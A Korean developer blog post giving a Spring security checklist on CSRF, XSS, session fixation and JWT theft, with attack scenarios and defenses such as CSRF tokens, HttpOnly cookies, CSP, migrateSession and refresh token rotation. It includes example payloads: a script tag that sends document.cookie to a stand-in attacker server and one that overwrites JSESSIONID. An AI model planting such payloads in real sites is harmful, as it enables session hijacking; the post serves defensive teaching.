안전한 Spring 앱을 위한 4가지 체크리스트 (CSRF, XSS, 세션 고정, JWT)

Jun_k·2026년 4월 5일

Spring

목록 보기
6/9

CSRF (Cross-Site Request Forgery, 사이트 간 요청 위조)

어떤 공격인가?

  • 사용자가 자신의 의지와 무관하게, 공격자가 의도한 방향 (비밀번호 변경, 송금 등)
    으로 특정 웹사이트에 요청하게 만드는 공격이다.

  • 예시

    1. 평소에 이용하는 A 은행 사이트에 로그인하여 이체 업무를 보고 있었다.
      (로그인 세션이 유지되어 있는 상태)

    2. 이때, "아이폰 당첨! 클릭하면 100% 수령" 이라는 광고를 눌러서
      무심코 공격자가 만든 가짜 사이트에 접속한다.

    3. 가짜 사이트에는 눈에 보이지 않는 아주 작은 버튼(또는 자동 실행 스크립트)이 숨겨져 있는데 이 버튼의 기능은
      A 은행/transfer?to=공격자&amount=100만원 이라는 요청을 보내는 것이다.

    4. 내 브라우저는 A 은행의 로그인 쿠키를 이미 가지고 있기에,
      브라우저는 이 요청이 정상적인 것으로 판단하고, 공격자에게 돈을 송금한다.

  • 가능한 이유: 브라우저는 특정 사이트에 요청을 보낼 때,
    해당 사이트의 쿠키(세션 정보 포함)를 자동으로 함께 보낸다.
    서버는 "쿠키가 있네? 음.. 정상적인 사용자의 요청이구나" 라고, 믿어버린다.

대응 전략

  • CSRF 토큰 사용: 서버는 요청마다 임의의 난수(Token)를
    생성하여 클라이언트에 전달한다.
    이후에 클라이언트가 상태 변경 (POST, PUT 등)을 보낼 때
    이 토큰을 함께 보내야만 서버가 수락한다.
    공격자는 이 난수값을 알 수 없으므로 위조 요청이 불가능해진다.

  • SameSite 쿠키 설정: 쿠키 설정에 SameSite=Strict 또는 Lax를 추가하여,
    다른 사이트에서 발생하는 요청에는 쿠키가 전송되지 않도록
    브라우저 수준에서 차단한다.


XSS (Cross-Site Scripting, 교차 사이트 스크립팅)

어떤 공격인가?

  • 공격자가 악성 스크립트(<script>...</script>)를 웹 페이지에 삽입하여,
    다른 사용자의 브라우저에서 해당 스크립트가 실행되게 하는 공격이다.

  • 예시

    1. 공격자가 유명한 맛집 커뮤니티 게시판에
      "이 집 빵이 엄청 맛있습니다!" 라는 글을 올린다.

    2. 이때 글 내용에 보이지 않게
      <script>fetch('공격자서버?cookie=' + document.cookie)</script>
      라는 코드를 심어둔다.

    3. 일반 사용자(피해자)들이 이 게시글을 읽는 순간,
      브라우저는 본문 속의 코드를 실행하게 된다.

    4. 결과적으로 사용자의 "로그인 세션 정보(쿠키)"가 공격자의
      서버로 즉시 전송되고, 공격자는 이 정보를 이용해
      사용자의 계정으로 로그인 하여 정보를 탈취한다.

  • 가능한 이유: 브라우저는 HTML 내부에 포함된 자바스크립트를
    신뢰할 수 있는 코드로 판단하고, 무조건 실행하기 때문에
    이를 통해 세션 쿠키를 탈취하거나 페이지를 변조한다.

대응 전략

  • 입력값 필터링 및 출력 이스케이프 (HtmlUtils): 사용자 입력을 받을 때
    위험한 태그를 제거하고, 화면에 출력할 때는 <&lt;변환(Escape)하여 브라우저가 이를 코드가 아닌 단순 문자로 인식하게 한다.

  • HttpOnly 쿠키: 세션 쿠키 설정 시 HttpOnly 옵션을 true로 주면,
    자바스크립트(document.cookie)로는 쿠키에 접근할 수 없게 되어
    XSS를 통한 세션 탈취를 방지할 수 있다.

  • CSP (Content Security Policy): 서버가 브라우저에게 "이 사이트에서는 우리가 지정한 출처의 스크립트만 실행해"라고 명령하는 보안 헤더를 설정한다.


세션 고정 (Session Fixation)

어떤 공격인가?

  • 공격자가 미리 생성한 세션 ID를 사용자에게 강제로 심어놓고,
    사용자가 그 세션으로 로그인하면 공격자도 동일한 세션 ID를
    이용해 사용자 권한을 사용하는 공격이다.

공격자는 어떻게 세션을 사용자에게 심는가?

  • 공격자가 브라우저로 타겟 사이트(discodeit.com)에 접속한다.

  • 대부분의 웹 서버는 사용자가 로그인하지 않더라도,
    접속한 사용자 식별을 위해 즉시 JSESSIONID 같은 세션 ID를 발급한다.
    (바구니만 먼저 주는 격이다.)

  • 공격자는 자신의 브라우저 쿠키에 저장된 세션 ID(예: ABC123)를 메모해 둔다.
    이때 이 세션은 아직 '비 로그인 상태'이다.

  • 이제 공격자는 자신이 가지고 있는 ABC123이라는 세션 ID를
    사용자(피해자)가 사용하도록 강제해야 한다.

    • 방법 A (URL 파라미터): 서버가 세션 ID를 URL로도 받는다면, http://discodeit.com/?jsessionid=ABC123 같은 링크를
      피싱 메일로 보낸다.

    • 방법 B (XSS 활용): 게시판에 <script>document.cookie='JSESSIONID=ABC123';</script> 같은 코드를 심어, 사용자가 글을 읽는 순간 쿠키가 공격자의 세션 ID로
      덮어쓰여지게 한다.

  • 사용자는 공격자가 보낸 링크나 스크립트를 통해 ABC123이라는
    세션 ID를 가진 채로 로그인을 시도한다.

  • 서버는 "ABC123 세션을 가진 사용자가 아이디 / 비번 맞게 입력했네?
    이제 이 ABC123 세션은 로그인이 완료된 세션이야."라고 권한을 부여한다.

  • 공격자는 이미 ABC123 이라는 세션 ID를 알고 있기 때문에
    공격자가 ABC123이 담긴 쿠키를 들고, 서버에 요청을 보내면
    서버는 이를 방금 로그인 완료된 사용자라고 착각하고 통과 시켜 준다.

  • 예시

    1. 공격자가 쇼핑몰 사이트에 접속하여 SessionID=HACKER123이라는
      세션 번호를 미리 발급받는다.

    2. 공격자는 사용자 A 한테 "이 상품 90% 할인 중입니다."라며 링크를 보낸다.
      (http://shopping.com/login?jsessionid=HACKER123)

    3. 사용자 A가 링크를 타고 들어가서 로그인을 완료한다.

    4. 서버가 "HACKER123 이 세션은 이제 사용자 A의 것이구나" 라고,
      인증을 완료해주는 순간, 공격자는 자신이 이미 알고 있던
      HACKER123 세션 ID를 이용해 사용자 A의 장바구니와
      결제 정보에 접근하여 개인정보를 탈취한다.

  • 가능한 이유: 로그인 전후에 세션 ID가 변하지 않는 취약점을 이용한다.
    로그인 전과 후의 세션 ID가 동일하기 때문이다.

대응 전략

  • 세션 변조 방지 전략: Spring Security는 기본적으로 로그인 성공 시
    기존 세션을 폐기하고 새로운 세션 ID를 생성하도록 설정되어 있다.
// Spring Security 설정 예시
http.sessionManagement()
    .sessionFixation().migrateSession(); // 혹은 newSession() 
  • migrateSession()은 기존 세션의 데이터는 유지하면서 ID만 바꾸는 방식이고, newSession()은 아예 새롭게 시작하는 방식이다.
    Java 17 이상의 최신 Spring 환경에서는 이 설정이 기본으로 권장된다.

JWT 탈취

어떤 공격인가?

  • Stateless한 인증 방식인 JWT(JSON Web Token)를 공격자가 어떤 방식으로든 가로채서(XSS, 네트워크 스니핑 등) 사용자처럼 행동하는 위협이다.

  • 예시

    1. 사용자 A가 카페에 있는 공용 노트북으로
      개발자 커뮤니티에 로그인 했고,
      해당 사이트는 JWT를 localStorage에 저장하는 방식을 사용한다.

    2. 로그인 후 주어진 일들을 마무리 한 뒤 브라우저를 닫았지만,
      까먹고 로그아웃은 누르지 않았다.

    3. 다음에 그 노트북을 사용한 사람이 개발자 도구(F12)를 열어
      localStorage를 확인하거나, 해당 사이트에 숨겨진
      악성 광고 스크립트(XSS 등)가 실행된다.

    4. 공격자는 localStorage에 저장된 긴 문자열(JWT)를 복사해서
      자신의 개인 노트북 브라우저에 붙여넣는다.
      이제 공격자는 토큰이 만료될 때까지 사용자 A의 권한
      마음대로 휘두르게 된다.

  • 가능한 이유: 세션은 서버에서 강제로 만료시킬 수 있지만,
    순수 JWT는 서버의 통제를 벗어나 있기에
    한 번 유출되면 만료 시간까지 공격자에게 무방비로 노출된다.

대응 전략

  • Access Token 주기 단축 & Refresh Token 사용: Access Token의 수명을
    매우 짧게(예: 30분) 설정하고, 대신 이를 갱신할 수 있는
    Refresh Token을 별도로 관리한다.

  • Refresh Token Rotation (RTR): Refresh Token을 사용하여 새로운 Access Token을 발급받을 때, Refresh Token 자체도 새것으로 교체한다.
    만약 누군가 훔친 토큰을 사용하려 하면,
    이미 사용된 토큰임을 감지하고 전체 세션을 무효화할 수 있다.

  • 안전한 저장소 선택: JWT를 브라우저의
    localStorage에 저장하면 XSS에 취약하다.
    가급적 HttpOnly, Secure 옵션이 적용된 쿠키에 저장하는 것이
    논리적으로 더 견고하다.


공격 유형핵심 원인Spring Security / 일반적 대응
CSRF브라우저의 자동 쿠키 전송CSRF 토큰 검증, SameSite 설정
XSS악성 스크립트가 실행됨출력 이스케이프, HttpOnly 쿠키, CSP
세션 고정로그인 전후 동일 세션 ID 사용로그인 시 세션 ID 재발급 (migrateSession)
JWT 탈취토큰 유출 시 서버 통제 불가짧은 만료 시간, RTR, HttpOnly 쿠키 저장
profile
개발을 즐겨보자.

0개의 댓글